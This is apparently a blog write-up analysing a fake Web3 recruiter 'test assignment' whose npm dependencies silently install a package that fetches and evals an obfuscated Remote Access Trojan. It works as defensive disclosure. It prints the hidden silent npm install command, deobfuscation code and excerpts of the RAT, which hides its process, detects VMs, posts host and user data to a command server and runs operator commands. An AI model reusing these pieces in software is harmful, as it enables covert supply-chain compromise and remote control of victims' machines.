A seemingly legitimate Web3 "test assignment" turned out to be a supply chain attack.
A malicious npm package (svg-content-validation) silently installs another package, which fetches and executes obfuscated remote code via eval.
After deobfuscation, the payload reveals a full-featured Remote Access Trojan (RAT) capable of executing commands, capturing screenshots, controlling input devices, and exfiltrating system data — all while remaining hidden and persistent.
I recently received a message in LinkedIn:

Nothing suspicious — standard outreach from a "recruiter."
After a while, they sent me a PDF with a "test assignment" and a link to the repository: trustledgerlabs-dev/token-presale-dapp
At first glance, it looked like a typical Web3 dApp (token presale). But even during the initial review of the code, strange things started to appear.

- These files aren't in the repository
- There's no obvious location where they're downloaded from
- The names look like: runtime / lockdown / policy — often used in security sandboxes
- It feels like the code is loading something dynamically
- At this point, it became clear: either the code is incomplete, or something is being intentionally hidden.
I've received scam tasks many times before, and I was always curious about how it works. So I decided to spend some time digging further.
Let's go to dependencies(package.json)
The next step is to check the project's dependencies.
And here the picture gets even stranger. The dependencies are very old and suspicious. This makes the project look abandoned, but it was actually created recently and is being used as a "test project." I think this is atypical for a real company, so my suspicions were not unfounded.
Suspicious npm package
Among the dependencies, I found a package: svg-content-validation.
I'd never encountered it before and didn't really understand its purpose, so I decided to check it out on npmjs.com.

- Published 6 days ago
- Author with no reputation
- No GitHub repository
- No keywords
- Only 3 files (~3.6 KB)
- Already ~1,300 downloads per week
After that, I decided to look at the package's source code directly.
First red flag

Decoding base64 string:
npm install svg-sizer-responsive --no-save --silent --no-audit --no-fundThis package automatically installs another npm package and does so without writing to package.json ( — no-save), without logging ( — silent), and without auditing ( — no-audit).
Automatic execution of the second package

After setting MODULE_NAME (base64 decoding gave svg-sizer-responsive) it immediately executes its code.
fs.readFile(filePath, 'utf8', (err, data) => {
ValidateSvgModule();
...
if (isValidSvg) {
ValidateSvgModule();
}This means the function is always called when reading a file and again when the SVG is "valid." In fact, the payload is almost guaranteed to run.
Package svg-sizer-responsive

Overall, the questions about its npmjs page are the same as those about the first package, so let's jump straight into its code.
The first part of the file actually looks fine:
function sanitizeSVG(svg) { ... }
function minifySVG(svg) { ... }
function convertSVGtoPNG(svgPath) { ... }The key point is the network request

- The package makes an HTTP request to an external server
- Receives JSON
- Retrieves the model field
- Executes it via: eval(parsed.model) — This is Remote Code Execution (RCE).
HTTP request response

What we have is heavily obfuscated JavaScript that could be running on your machine.
I decided to go ahead and spend some time understanding how this payload works.
I saved the code to a file and, to begin, simply launched Prettier to read its contents.

I was immediately greeted by the ce array — an encrypted string table. This is the core of the code obfuscation. All meaningful program text (function names, URLs, API keys, commands) is replaced with numeric indexes. Instead of require("child_process"), the code uses c(0x5a4, Əq%@') — and only at runtime is this converted to a string.
Table rows were divided into two types:
- b()-rows — these were decoded using simple base64 → UTF-8 (for rows that did not compromise the vulnerability)
- c()-rows — these were decoded using more complex methods: base64 → RC4 (key) → UTF-8 (rows that revealed the intentions of dangerous modules)
function b(idx) {
const realIdx = idx - 0x15a
const encoded = ce[realIdx]
return base64_decode(encoded)
}
function c(idx, key) {
const realIdx = idx - 0x15a
const encoded = ce[realIdx]
return rc4_decrypt(base64_decode(encoded), key)
} If you're interested: https://ru.wikipedia.org/wiki/RC4 helps hide strings from grep/search and hide:
- URLcommands
- module names
- complicate analysis
This is a fairly simple, fast, and symmetric encryption algorithm. Further analysis revealed a rotation mechanism.

Because the ce[] array is NOT in the correct order when the script is loaded, this algorithm does a push(shift()) — cyclically shifting — until the formula yields (-0xcb1c3 + 0x48cf0 + 0xfdb3f) = 505452.
Decoding occurs using the keys in the c(idx, key) function, and if the array order was incorrect, the index would return a bad string, and the decoder would return a broken string.
This is protection against static analysis.

Another way to protect against static analysis is using a custom base64 alphabet.
usual: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
custom: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/as an example of one line:
ce[1002] = 'BICSj3bVD2vYC2HLBgXC...'
│ base64 (custom alphabet)
raw bytes: [7A 4F 3B F1 ...]
│ RC4 with the key'9q%@'
"child_process"
│ used in the code
{execSync, exec, spawn} = require("child_process") Decoder for this script
The most important thing is the mechanism for finding the right rotation.
let rotationCount = 0;
function getArray() {
const arr = ce.slice();
for (let i = 0; i < rotationCount; i++) {
arr.push(arr.shift());
}
return arr;
}
function computeG() { // An exact copy of the formula from the malicious code
return (
-parseInt(c(0x208, ')(^q')) / 1 +
(-parseInt(c(0x54f, 'Nl@J')) / 2) * (-parseInt(b(0x2d7)) / 3) +
(-parseInt(b(0x487)) / 4) * (parseInt(b(0x61f)) / 5) +
... // there are 10 terms in total
)
}
// This function decodes 10 strings from ce[]
// (those that look like '1636888sovVwd', '4993620ZrysUc' are numbers with garbage)
// and creates a formula from them.
// With proper rotation, the formula yields 505452.
function findCorrectRotation() {
const TARGET = 505452;
for (let rot = 0; rot < ce.length; rot++) {
rotationCount = rot; // try cirrent rotation
cCache.clear();
bCache.clear();
const g = computeG();
// Here we use the fault for the float type
if (Math.abs(g - TARGET) < 0.5) {
return rot; // found = 280
}
}
} Then I needed a custom base64 decoder (I asked chatGPT to rewrite this function by sending it the original from the vulnerable code)
function base64UrlDecodeRaw(l) {
const alphabet = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';
let n = ''; // the result is collected here
let p = 0; // base64 character counter
let q; // intermediate number of 6-bit chunks
let r; // current symbol
let s = 0; // postion in the string
while ((r = l.charAt(s++))) {
r = alphabet.indexOf(r);
if (!~r) continue;
// Each base64 character encodes 6 bits.
// gradually concatenates 4 base64 characters into one large number.
q = p % 4 ? q * 64 + r : r;
if (p++ % 4) {
// While the 4-character block is being processed
// the byte on the 1st character is not yet extracted
// on the 2nd, 3rd, and 4th, 1 byte can be extracted
// That is, every 4 base64 characters yields up to 3 bytes.
n += String.fromCharCode((255 & (q >> ((-2 * p) & 6))));
}
}
return n;
}The next required function is the RC4 decoder. It was easily found in Google https://gist.github.com/salipro4ever/e234addf92eb80f1858f
/*
* RC4 symmetric cipher encryption/decryption
*
* @license Public Domain
* @param string key - secret key for encryption/decryption
* @param string str - string to be encrypted/decrypted
* @return string
*/
function rc4(key, str) {
var s = [], j = 0, x, res = '';
for (var i = 0; i < 256; i++) {
s[i] = i;
}
for (i = 0; i < 256; i++) {
j = (j + s[i] + key.charCodeAt(i % key.length)) % 256;
x = s[i];
s[i] = s[j];
s[j] = x;
}
i = 0;
j = 0;
for (var y = 0; y < str.length; y++) {
i = (i + 1) % 256;
j = (j + s[i]) % 256;
x = s[i];
s[i] = s[j];
s[j] = x;
res += String.fromCharCode(str.charCodeAt(y) ^ s[(s[i] + s[j]) % 256]);
}
return res;
}Well, now it was possible to create analogues of the original b() and c():
const bCache = new Map();
function b(idx) {
const realIdx = idx - 0x15a; // remove offset (346)
if (bCache.has(realIdx)) return bCache.get(realIdx);
const enc = getArray()[realIdx];
const dec = base64UrlDecode(enc);
bCache.set(realIdx, dec);
return dec;
}
const cCache = new Map();
function c(idx, key) {
const realIdx = idx - 0x15a; // remove offset (346)
const cacheKey = `${realIdx}:${key}`;
if (cCache.has(cacheKey)) return cCache.get(cacheKey);
const enc = getArray()[realIdx];
const dec = rc4(enc, key);
cCache.set(cacheKey, dec);
return dec;
}So, in the overall file, the execution order at startup is:
- ce[] loaded into memory
- findCorrectRotation(): iterates through 0..1278
- getArray() → computeG() → compare with 505452 (the correct rotationCount was found = 280)
- b(idx) / c(idx, key), idx — 346 → realIdx, getArray()[realIdx] → base64 → [RC4] → yielded a readable deobfuscated.js, but it was incomplete - the second layer remained encrypted.
Inner layer
In the original code there was a variable q of this type
q = {
xSpKk: aN(0x4a1) + aN(0x3f2) + aM(0x5c3, 'key') + ...,
xVPsn: aN(0x5c3) + aM(0x201, 'key') + ...,
ABzKu: ...,
HrgUW: ...,
UwHFN: ...,
} Each field is a concatenation of calls aN() — outer b() (base64)/aM() — outer c() (base64+RC4), which decode strings from the outer array ce[].
The concatenation xSpKk + xVPsn + ABzKu + HrgUW + UwHFN yields an internal JavaScript code module.
This code contains a second layer of obfuscation: its own array a1[], its own functions b()/F(), its own rotation.



Therefore, each token needs to be decoded through the already known external ce[] array with rotation 280 and concatenated.
Furthermore, in the internal code, all strings are hidden behind calls like F(0x1de), E(0x213), a0(0x1c8).
The functions at this level are simpler — their logic boils down to one: return a1[idx-362]. No RC4, just array access.
function F(c) {
return a1[c - (0xb97 + 0x117f - 0x1bac)]
}We parse the strings manually, traversing them character by character. We get an array of 236 elements: a1 = ['axios', 'socket.io-client', 'screenshot-desktop', …]
Since the internal array is also shuffled via push/shift, we first need to find the number of steps.
- Let's look at the call in the code: F(0x16c) is a call to the string 'axios'. We calculate the actual index: 0x16c — INNER_OFFSET = 364–362 = 2
- This means that after rotation, 'axios' should be at position 2.
- In the original (unrotated) array, 'axios' is at position 78. => rotation = (78–2) = 76
- We check using the second example, 'child_process': F(0x1de) → index, 116 after offset, original position = 192, rotation = 192–116 = 76
Both examples yield 76 — rotation found. As a result, we can simply replace each function call with:
F(0x16c) → "axios" F(0x1de) → "child_process" F(0x1e4) → "capture" F(0x226) → "post"
We get a readable code: Remote Access Trojan
function a() {
const a1 = [
'npm\x20install\x20socket.io-client\x20sha',
'ODidI',
'mouseClick',
'fajPX',
'mouseMove',
'lGoKS',
'voNvP',
'type',
'gfGvc',
'',
'oglevel\x20silent',
'left',
'floor',
'virtualbox',
'mouseScroll\x20error:',
'dzbbW',
'-no-progress\x20--loglevel\x20silent',
'path',
'KGHlA',
'1636888sovVwd',
'vhost.ctl',
'mouseClick\x20error:',
// ...Initialization:
- Renames the process to vhost.ctl to hide from the process list
- Creates a PID file ~/.npm/vhost.ctl — single-instance mechanism
- On startup, checks: if the file exists and the process is alive, call
- process.exit(); if it is dead, delete the old file
- On exit, delete the PID file via process.on('exit',…)
process['title'] = 'vhost.ctl'
const path = require('path'),
pathDir = path['join'](os['homedir'](), '.npm'),
pidFile = path['join'](os['homedir'](), '.npm', process['title'])- Sends custom messages to C2
- Used for logging errors and events on the operator side
const makeLog = async (c) => {
const I = F,
d = {
BmKRI: function (f, g) {
return f + g
},
fPDqy: function (f, g) {
return f + g
},
HIyck: 'http://',
gcEBn: '/api/service/makelog',
}
try {
const f = await axios['post'](d['BmKRI'](d['fPDqy'](d['HIyck'], m), d['gcEBn']), {
message: c,
host: os['hostname'](),
uid: uid,
t: t,
})
['then']((g) => {})
['catch']((g) => {})
} catch (g) {}
},VM detection and registration
Before connecting, it checks whether the virtual machine is running:
- Windows: vmware, virtualbox, microsoft corporation, qemu
- macOS: vmware, virtualbox, qemu, parallels, virtual
- Linux: hypervisor, vmware, virtualbox, qemu, kvm, xen
If a VM is detected, it adds the VM to the release.
return await axios['post'](c['MihzO'](c['MihzO'](c['MihzO'](c['hhawf'], m), c['gATWI']), uid), {
OS: os['type'](),
platform: os['platform'](),
release: c['hcfwS'](os['release'](), d ? c['PQINm'] : c['kVINT']),
host: os['hostname'](),
userInfo: os['userInfo'](),
uid: uid,
t: t,
})Installs everything required silently (loglevel silent, windowsHide: true) directly on the victim's machine. This means that dependencies are not included in the source package — they are downloaded dynamically.
},
kRhYg:
'npm install socket.io-client sha' +
'rp screenshot-desktop clipboardy' +
' @nut-tree-fork/nut-js --no-warn' +
'ings --no-save --no-progress --l' +
'oglevel silent',
}
;(await c['YPBaj'](setHeader),
c['ttbep'](makeLog, c['Gepon']),
c['bJBRB'](execSync, c['kRhYg'], {windowsHide: !![]}))
},Connects to C2.
const r = c['Nwsgv'](d, c['IJgxs'](c['IJgxs'](c['HHSps'](c['jVNht'], m), ':'), p), {
reconnectionAttempts: 0x0,
reconnectionDelay: 0x7d0,
timeout: 0x1e8480,
})Processes commands from the operator:
- command — execute shell commands
- capture
- mouseMove
- mouseClick
- mouseScroll
- keyTap
- pressKey / releaseKey
- keyCombo
- copyText
- pasteText
- whour — sends OS, platform, hostname, userInfo
- kill — terminate process
Error handling and self-healing:
} catch(v) {
makeLog('SS Err: ' + JSON.stringify(v.message))
if (!tryGlobal) execSync('npm install -g socket.io-client ...')
else process.exit()
tryGlobal = true
ss()
}Never trust external code execution — even in "interview tasks" or small test projects.
Always verify dependencies, isolate unknown code in a sandbox or VM, and treat unexpected or poorly documented packages as potentially harmful.